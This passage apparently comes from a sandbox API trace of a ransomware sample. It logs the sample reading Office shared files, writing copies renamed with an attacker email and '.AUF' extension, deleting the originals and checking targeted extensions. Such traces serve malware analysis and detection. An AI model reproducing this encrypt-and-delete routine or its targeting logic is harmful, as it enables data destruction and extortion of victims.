lpOverlapped=0x0) returned 1 [0223.950] SetEndOfFile (hFile=0x1e4) returned 1 [0223.950] CloseHandle (hObject=0x1e4) returned 1 [0223.950] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.950] SetEndOfFile (hFile=0x220) returned 1 [0223.953] CloseHandle (hObject=0x220) returned 1 [0223.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.953] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex")) returned 1 [0223.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0223.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0223.954] lstrlenW (lpString=".doc") returned 4 [0223.954] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0223.954] lstrlenW (lpString=".docx") returned 5 [0223.954] lstrcmpiW (lpString1=".docx", lpString2="N.LEX") returned -1 [0223.954] lstrlenW (lpString=".pdf") returned 4 [0223.954] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0223.954] lstrlenW (lpString=".xls") returned 4 [0223.954] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0223.954] lstrlenW (lpString=".xlsx") returned 5 [0223.954] lstrcmpiW (lpString1=".xlsx", lpString2="N.LEX") returned -1 [0223.954] lstrlenW (lpString=".ppt") returned 4 [0223.954] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0223.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0223.954] lstrlenW (lpString=".zip") returned 4 [0223.954] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0223.954] lstrlenW (lpString=".rar") returned 4 [0223.954] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0223.954] lstrlenW (lpString=".bz2") returned 4 [0223.954] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0223.954] lstrlenW (lpString=".7z") returned 3 [0223.954] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0223.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0223.954] lstrlenW (lpString=".dbf") returned 4 [0223.954] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0223.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0223.954] lstrlenW (lpString=".1cd") returned 4 [0223.954] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0223.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0223.955] lstrlenW (lpString=".jpg") returned 4 [0223.955] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0223.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0223.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0223.955] lstrlenW (lpString=".doc") returned 4 [0223.955] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0223.955] lstrlenW (lpString=".docx") returned 5 [0223.955] lstrcmpiW (lpString1=".docx", lpString2="N.LEX") returned -1 [0223.955] lstrlenW (lpString=".pdf") returned 4 [0223.955] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0223.955] lstrlenW (lpString=".xls") returned 4 [0223.955] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0223.955] lstrlenW (lpString=".xlsx") returned 5 [0223.955] lstrcmpiW (lpString1=".xlsx", lpString2="N.LEX") returned -1 [0223.955] lstrlenW (lpString=".ppt") returned 4 [0223.955] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0223.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0223.955] lstrlenW (lpString=".zip") returned 4 [0223.955] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0223.955] lstrlenW (lpString=".rar") returned 4 [0223.955] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0223.955] lstrlenW (lpString=".bz2") returned 4 [0223.955] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0223.955] lstrlenW (lpString=".7z") returned 3 [0223.955] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0223.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0223.955] lstrlenW (lpString=".dbf") returned 4 [0223.955] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0223.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0223.955] lstrlenW (lpString=".1cd") returned 4 [0223.955] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0223.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0223.955] lstrlenW (lpString=".jpg") returned 4 [0223.955] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0223.956] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=295663) returned 1 [0223.956] CloseHandle (hObject=0x220) returned 1 [0223.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex")) returned 0x20 [0223.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0223.956] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.957] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0223.957] GetLastError () returned 0x0 [0223.957] ReadFile (in: hFile=0x220, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x482ef, lpOverlapped=0x0) returned 1 [0223.980] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x482f0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x482f0, lpOverlapped=0x0) returned 1 [0223.984] ReadFile (in: hFile=0x220, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.984] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.984] SetEndOfFile (hFile=0x1e4) returned 1 [0223.984] CloseHandle (hObject=0x1e4) returned 1 [0223.984] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.984] SetEndOfFile (hFile=0x220) returned 1 [0223.987] CloseHandle (hObject=0x220) returned 1 [0223.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.987] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex")) returned 1 [0223.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0223.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0223.987] lstrlenW (lpString=".doc") returned 4 [0223.987] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0223.987] lstrlenW (lpString=".docx") returned 5 [0223.987] lstrcmpiW (lpString1=".docx", lpString2="R.LEX") returned -1 [0223.987] lstrlenW (lpString=".pdf") returned 4 [0223.987] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0223.987] lstrlenW (lpString=".xls") returned 4 [0223.987] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0223.987] lstrlenW (lpString=".xlsx") returned 5 [0223.987] lstrcmpiW (lpString1=".xlsx", lpString2="R.LEX") returned -1 [0223.987] lstrlenW (lpString=".ppt") returned 4 [0223.987] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0223.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0223.987] lstrlenW (lpString=".zip") returned 4 [0223.987] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0223.987] lstrlenW (lpString=".rar") returned 4 [0223.987] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0223.987] lstrlenW (lpString=".bz2") returned 4 [0223.987] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0223.987] lstrlenW (lpString=".7z") returned 3 [0223.987] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0223.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0223.987] lstrlenW (lpString=".dbf") returned 4 [0223.987] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0223.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0223.988] lstrlenW (lpString=".1cd") returned 4 [0223.988] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0223.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0223.988] lstrlenW (lpString=".jpg") returned 4 [0223.988] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0223.988] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=17280) returned 1 [0223.988] CloseHandle (hObject=0x220) returned 1 [0223.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll")) returned 0x20 [0223.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0223.988] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.989] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0223.989] GetLastError () returned 0x0 [0223.989] ReadFile (in: hFile=0x220, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x4380, lpOverlapped=0x0) returned 1 [0224.275] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x4390, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x4390, lpOverlapped=0x0) returned 1 [0224.276] ReadFile (in: hFile=0x220, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.276] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0224.276] SetEndOfFile (hFile=0x1e4) returned 1 [0224.276] CloseHandle (hObject=0x1e4) returned 1 [0224.276] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.276] SetEndOfFile (hFile=0x220) returned 1 [0224.277] CloseHandle (hObject=0x220) returned 1 [0224.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.277] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll")) returned 1 [0224.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0224.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0224.278] lstrlenW (lpString=".doc") returned 4 [0224.278] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.278] lstrlenW (lpString=".docx") returned 5 [0224.278] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0224.278] lstrlenW (lpString=".pdf") returned 4 [0224.278] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.278] lstrlenW (lpString=".xls") returned 4 [0224.278] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.278] lstrlenW (lpString=".xlsx") returned 5 [0224.278] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0224.278] lstrlenW (lpString=".ppt") returned 4 [0224.278] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0224.278] lstrlenW (lpString=".zip") returned 4 [0224.278] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.278] lstrlenW (lpString=".rar") returned 4 [0224.278] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.278] lstrlenW (lpString=".bz2") returned 4 [0224.278] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.278] lstrlenW (lpString=".7z") returned 3 [0224.278] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0224.278] lstrlenW (lpString=".dbf") returned 4 [0224.278] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0224.278] lstrlenW (lpString=".1cd") returned 4 [0224.278] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0224.278] lstrlenW (lpString=".jpg") returned 4 [0224.278] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.404] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.404] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0225.526] GetLastError () returned 0x0 [0225.526] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x3574, lpOverlapped=0x0) returned 1 [0225.529] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x3580, lpOverlapped=0x0) returned 1 [0225.529] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.529] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0225.529] SetEndOfFile (hFile=0x1d8) returned 1 [0225.530] CloseHandle (hObject=0x1d8) returned 1 [0225.530] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.530] SetEndOfFile (hFile=0x1a0) returned 1 [0225.530] CloseHandle (hObject=0x1a0) returned 1 [0225.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.531] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb")) returned 1 [0225.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0225.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0225.531] lstrlenW (lpString=".doc") returned 4 [0225.531] lstrcmpiW (lpString1=".doc", lpString2=".TLB") returned -1 [0225.531] lstrlenW (lpString=".docx") returned 5 [0225.531] lstrcmpiW (lpString1=".docx", lpString2="G.TLB") returned -1 [0225.531] lstrlenW (lpString=".pdf") returned 4 [0225.531] lstrcmpiW (lpString1=".pdf", lpString2=".TLB") returned -1 [0225.531] lstrlenW (lpString=".xls") returned 4 [0225.531] lstrcmpiW (lpString1=".xls", lpString2=".TLB") returned 1 [0225.531] lstrlenW (lpString=".xlsx") returned 5 [0225.531] lstrcmpiW (lpString1=".xlsx", lpString2="G.TLB") returned -1 [0225.531] lstrlenW (lpString=".ppt") returned 4 [0225.531] lstrcmpiW (lpString1=".ppt", lpString2=".TLB") returned -1 [0225.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0225.531] lstrlenW (lpString=".zip") returned 4 [0225.531] lstrcmpiW (lpString1=".zip", lpString2=".TLB") returned 1 [0225.531] lstrlenW (lpString=".rar") returned 4 [0225.531] lstrcmpiW (lpString1=".rar", lpString2=".TLB") returned -1 [0225.531] lstrlenW (lpString=".bz2") returned 4 [0225.531] lstrcmpiW (lpString1=".bz2", lpString2=".TLB") returned -1 [0225.531] lstrlenW (lpString=".7z") returned 3 [0225.531] lstrcmpiW (lpString1=".7z", lpString2="TLB") returned -1 [0225.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0225.531] lstrlenW (lpString=".dbf") returned 4 [0225.531] lstrcmpiW (lpString1=".dbf", lpString2=".TLB") returned -1 [0225.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0225.531] lstrlenW (lpString=".1cd") returned 4 [0225.532] lstrcmpiW (lpString1=".1cd", lpString2=".TLB") returned -1 [0225.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0225.532] lstrlenW (lpString=".jpg") returned 4 [0225.532] lstrcmpiW (lpString1=".jpg", lpString2=".TLB") returned -1 [0225.532] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.532] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0225.532] GetLastError () returned 0x0 [0225.532] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x216, lpOverlapped=0x0) returned 1 [0225.533] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x220, lpOverlapped=0x0) returned 1 [0225.534] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.534] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0225.534] SetEndOfFile (hFile=0x1d8) returned 1 [0225.534] CloseHandle (hObject=0x1d8) returned 1 [0225.534] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.534] SetEndOfFile (hFile=0x1a0) returned 1 [0225.535] CloseHandle (hObject=0x1a0) returned 1 [0225.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.535] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf")) returned 1 [0225.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0225.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0225.536] lstrlenW (lpString=".doc") returned 4 [0225.536] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.536] lstrlenW (lpString=".docx") returned 5 [0225.536] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0225.536] lstrlenW (lpString=".pdf") returned 4 [0225.536] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.536] lstrlenW (lpString=".xls") returned 4 [0225.536] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.536] lstrlenW (lpString=".xlsx") returned 5 [0225.536] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0225.536] lstrlenW (lpString=".ppt") returned 4 [0225.536] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0225.536] lstrlenW (lpString=".zip") returned 4 [0225.536] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.536] lstrlenW (lpString=".rar") returned 4 [0225.536] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.536] lstrlenW (lpString=".bz2") returned 4 [0225.536] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.536] lstrlenW (lpString=".7z") returned 3 [0225.536] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0225.536] lstrlenW (lpString=".dbf") returned 4 [0225.536] lstrcmpiW (lpString1=".dbf", 